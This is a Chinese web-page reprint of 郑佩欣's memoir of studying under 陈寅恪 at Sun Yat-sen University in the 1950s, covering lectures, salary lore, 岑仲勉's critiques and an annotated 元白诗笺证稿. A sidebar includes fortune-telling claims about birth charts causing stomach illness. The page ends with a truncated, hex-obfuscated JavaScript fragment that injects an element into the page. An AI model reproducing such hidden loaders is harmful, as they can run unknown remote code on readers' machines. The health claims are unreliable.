首页 / 历史研究 / 郑佩欣:我的老师陈寅恪

郑佩欣:我的老师陈寅恪

历史研究 2021-01-14 05:25

陈寅恪先生是着名的史学大师,我这个学识浅薄、年龄相差四十多岁的后生晚辈怎能是大师的弟子?但这是真的。1952-1956年,我有幸在中山大学历史系读书。其时,陈大师是中山大学历史系的教授。单凭这一点,我就应该称陈寅恪为“吾师”或“本师”的。

不仅如此。1953-1954年,我还曾听过陈大师的两晋南北朝史和元白诗证史两门课。别的教师上课,一般是每次两小时,但陈大师每次只讲一小时,如1953学年他的两晋南北朝史课,课程表上定的就是星期一、五第三节各讲一小时。课堂就设在陈大师的住宅东南区1号2楼的长形走廊上,这个教室可坐三四十人。我记得在上两晋南北朝史第一堂课时,来的人很多,不仅有学生,还有许多老师,端木正老师及师母姜凝等都来了,可谓济济一堂,座无虚席。讲台两边挂着两块小黑板,上面满满地写着资料,中间还有一块空着的黑板,供陈大师作板书用。陈大师坐的是藤椅,穿长衫。课是怎样开始的,我已记不清了,只记得有这样几句:“重要资料我已请人写在黑板上了,但你们要好好听讲,光抄下资料不听讲,也不会懂的。”陈大师讲得很慢,遇到关键的词句,还要站起来写一些板书。因他的眼睛看不清楚,所以往往把后面的字写在前边的字上面,重叠在一起。为了把课讲得生动,陈大师常拿身边的人和事进行点评,随意挥洒。他常提到的人是那时还年轻的姜凝师母,他呼姜凝为“端毛太太”,我至今不知他为什么把“端木”读成“端毛”。陈大师编写的两晋南北朝史讲义,后来被高教部作为大学交流教材油印出版。我大学毕业后因重点研究魏晋南北朝史,所以就千方百计找到一本,至今仍然珍藏。在听元白诗证史时,历史系负责同志曾问我:“你听得懂吗?”我回答:“听得懂。”其实,因为我那时水平太低,对陈大师讲授的内容是不能很好地理解和掌握的。好在陈大师讲的是选修课,听课者可以来去自由,所以两晋南北朝史我大概只听四五次就不听了。我因喜爱唐诗,所以元白诗证史听得稍多一些,但大约也只听七八次。因为这两门课我都没听完,所以都没有取得成绩,这是我终生引以为憾的。以上说明我虽是陈寅恪的学生,但却是一个既未升堂、更未入室的不成才的弟子。

失明后陈寅恪在自家阳台授课

当时在康乐园(中山大学位于珠江南岸康乐村),陈大师有很高声望,流传着他的许多轶闻趣事。如说此人很厉害,懂十三种外语,过去在清华大学被称为“教授之教授”。现在看来这种传说不很正确,因为陈大师精通和能够利用的汉语以外的语种绝不止十三种,而是多达十六七种(见刘正《陈寅恪先生年谱研究序说》《文史哲》1996年第3期)。由于陈寅恪先生学问大、名望高,所以我们对他都十分崇敬,说到他时很少称其为教授、老师,而一概称之为“陈大师”。

当时还有一种传说,是说陈大师在中山大学薪金最高,比校长还高。但到底有多少,我们做学生的当然不得而知。有一次,听说一位理发师被请到陈宅,给大师理发,最后唐师母付给理发师的报酬为一元钱外加一条毛巾。那时我们到理发馆理发只要三四角钱,就可以理发、吹风、落蜡,唐师母一付钱就比我们多好几倍,因此我们觉着陈大师一定很有钱,生活很阔。近读陆键东《陈寅恪的最后20年》(三联书店1995年版),才知1955年陈大师的工资是二百五十三元,不仅是中大也是全国教授中的最高者。但这二百五十三元仅相当于抗战前教授最高工资的五分之一!这说明那时陈大师的生活不是比以前宽裕,而是变得紧张了。当年我们在蒋湘泽师家中闲谈时,他告诉我们他每月的工资是一百一十元,那时蒋师还是副教授。这说明,陈大师的工资正好相当于一个副教授工资的二点三倍。50年代前期,物价很低,我们每月由国家供给的伙食费才十三点五元,但吃得很好。一些日本代表团到中大参观,一定要到食堂拍我们吃饭的镜头。他们说,中国大学生的生活比日本人好得多。综合这些情况,可知那时陈大师每月收入二百五十三元,生活虽然较前紧巴,但比一般人还是宽裕的。

陈大师因忙于科研,身体又不好,所以平常很少接见人。我们除了上课时能见到他外,平时就很难晤面。那时因为寒假很短,多数学生都在学校过春节,我们就成群结队地给老师拜年,有时一帮十多人,至少也三四人。我们到陈大师家中后,唐师母对我们茶水招待,陈师则很随便地和我们交谈,看不出一点大学者的架子。在我读大学时期,还不兴学生批老师、斗老师、打老师,所以师生关系十分融洽。那时不知为什么,我们把打牙祭叫做“高潮”。平时,我们除到老师家问学外,也经常到老师家“高潮”一下——吃饭或吃茶点,特别是在春节期间更是如此。大学四年期间,我曾到岑仲勉、董家遵、陈锡祺、端木正、蒋湘泽、何肇发等老师家中多次“高潮”过。但在陈大师家中,我记得只喝茶水,坐的时间也较短,大家七嘴八舌谈十来分钟后就告辞。但由于我们见到了陈大师,并且说了话,所以大家都喜滋滋的,真是比“高潮”还要高潮。

还有与陈大师会面的机会,就是见唐师母陪着陈大师在他住宅门前的小路上散步。这条小路原来是砖铺的,上面生满苔藓,很滑,当然不适宜于老年人散步。陈大师当时虽然眼睛失明了,但在光亮处仍能看到物形。所以,1956年初,学校为了照顾他散步,就把这条路改建成白色水泥路,路面比较平整,也宽了一些,陈大师散步时可看到模糊的白色路面。可惜那时我们见陈大师散步时,没有勇气走到他跟前和他谈话。

陈寅恪先生及其夫人

我感到荣幸的是,现在我还保存两件与陈大师有关系的珍贵物品。

一件是我们1952级全班同学在1956年8月31日拍摄的毕业纪念照片。这张照片是在东南区1号陈宅门前拍的。很明显,把拍摄地点选在这个地方,是为了便于陈大师与我们共同合影。这张照片在前排就座的都是我们的恩师,自右至左依次是:端木正、蒋湘泽、曾纪经、董家遵、王季思、杨荣国、陈寅恪、岑仲勉、刘节、金应熙、朱杰勤、陈序经、梁方仲。最左边一位是教我们政治经济学的老师,我怎样也回忆不起他的名字了。这张照片摄下了这么多文史学界前辈大家的容貌身影,说明它不是一张普通的照片。随着岁月的流逝,它已成为一件具有极高历史价值的珍贵文物了。在拍照前就座时,岑仲勉与陈大师亲切握手,岑师说:“我们很长时间没见面了!”陈大师点头唯唯,没有说话。他所以不说话,因为岑仲勉是聋子,说了也白搭。

中山大学历史系1952级毕业合影

岑仲勉也是一位大师级的学者,着述等身,学问极其渊博,尤以治隋唐史着名。我曾选修他的隋唐史课,考试成绩为“优”。他给我们编写的隋唐史讲义,长达五十余万字,1957年由高等教育出版社出版。这部着作贯穿了学术的自由讨论精神,岑师对各家各派的许多不同观点,都进行了剖析和商榷。岑师在课堂上给我们传授治学之道说:“射人先射马,擒贼先擒王。进行讨论和商榷也得找名家,这样才有影响。”陈寅恪是研究隋唐史的头号名家,他的许多观点就顺理成章地成了岑师在课堂上批判的对象。岑师在课堂上揪住陈寅恪不放,陈大师当然会知道的,但他从未予以反驳。当他见到岑仲勉时,还表现得很亲切,这是我长久迷惑不解的。近读陈大师《对科院的答复》一文,这个问题才得到解释。该文称:

没有自由思想,没有独立精神,即不能发扬真理,即不能研究学术。学说有无错误,这是可以商量的,我对于王国维即是如此。王国维的学说中,也有错的,如关于蒙古史上的一些问题,我认为就可以商量。我的学说也有错误,也可以商量,个人之间的争吵,不必芥蒂。……我写王国维诗,中间骂了梁任公,给梁任公看,梁任公只是笑了笑,不以为芥蒂。我对胡适也骂过……(转引自《陈寅恪的最后20年》,三联书店1995年版,第111页)

可见陈大师认为学术争论符合他的“自由思想,独立精神”的一贯主张,在学术上他可以批评别人,也欢迎别人批评自己。看来,这就是他对在学术上一直对他进行批评的岑仲勉“不以为芥蒂”的原因。

说到这里应当补充一点:岑仲勉对陈寅恪并不是一味批评,他对陈大师的学问还是十分佩服的。他在课堂上曾对我们说:“《元白诗笺证稿》写得好。”

第二件我保存的与陈大师有关系的珍贵物品,是1950年岭南大学中国文化研究室出版的陈大师所着《元白诗笺证稿》。这本书珍贵之处不仅在于它是初版,还在于本书中的一些排印错误都用墨笔作了更正,在本书有些页的天头上写了不少字,书中还粘贴许多写满字的纸条,这些字都是关于本书内容的补充。据我粗略统计, 补充较多的有十五处,约五千字左右。从字迹看,一小部分系油印,大部分应是陈大师的助手黄萱的手书墨迹,蝇头小楷,工整秀丽。我找出1955年由文学古籍刊行社出版的《元白诗笺证稿》与此书相核对,发现此书就是文学古籍刊行社据以排印的《元白诗笺证稿》的底本。1955年出版的《元白诗笺证稿》经过这次修订增补,较之初版本是更周密、更充实了。陈大师治学以严谨着称,但要严谨就得付出比别人更多更艰辛的劳动,即使像陈寅恪这样的大学问家也得如此,这从我保存的初版《元白诗笺证稿》一书可得到证实。

在这本书中还夹着一张便条,上面用红色钢笔写着:“四部丛刊 牧斋有学集 十二册 78000(元)”,便条的右下角写着“陈寅恪”三字。从笔迹看,似是唐师母所写。很明显,这张便条是写于1950年《元白诗笺证稿》出版之后至1955年币制改革以前。大家知道,陈大师开始写《柳如是别传》是在1954年初,他在动笔前后买这部书显然是为写《柳如是别传》作参考的。

我这本初版《元白诗笺证稿》是从哪里来的?我在大学读书时,端木正老师就对我照拂有加。大学毕业后,他仍对我十分关怀。他知道我研治魏晋隋唐史,所以在70年代就把这部书作为珍贵礼物郑重地赠送给我。端木师及姜凝师母同陈寅恪一家过从甚密,有很深的渊源,很显然这部书是陈大师或唐师母赠送给端木师或姜师母的,而端木师又把它转送给我了。

蔡鸿生学长在其所着《“颂红妆”颂》一文中说:“1955年夏季至1956年夏季,有幸在金明馆通向寒柳堂的过道上,听陈寅恪先生讲史论诗达一年之久。课程名称‘元白诗证史’,用1955年版的《元白诗笺证稿》作教材。这册有师母遗墨的赠书,历经风霜,如今成了寒斋中的‘镇库之宝’。”读此令人感慨万千。我不禁抚摸着我保存的初版《元白诗笺证稿》喃喃而语:“这难道不也是寒斋中的‘镇库之宝’吗!”

原载:《文史哲》1996年第6期,第41-43页

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();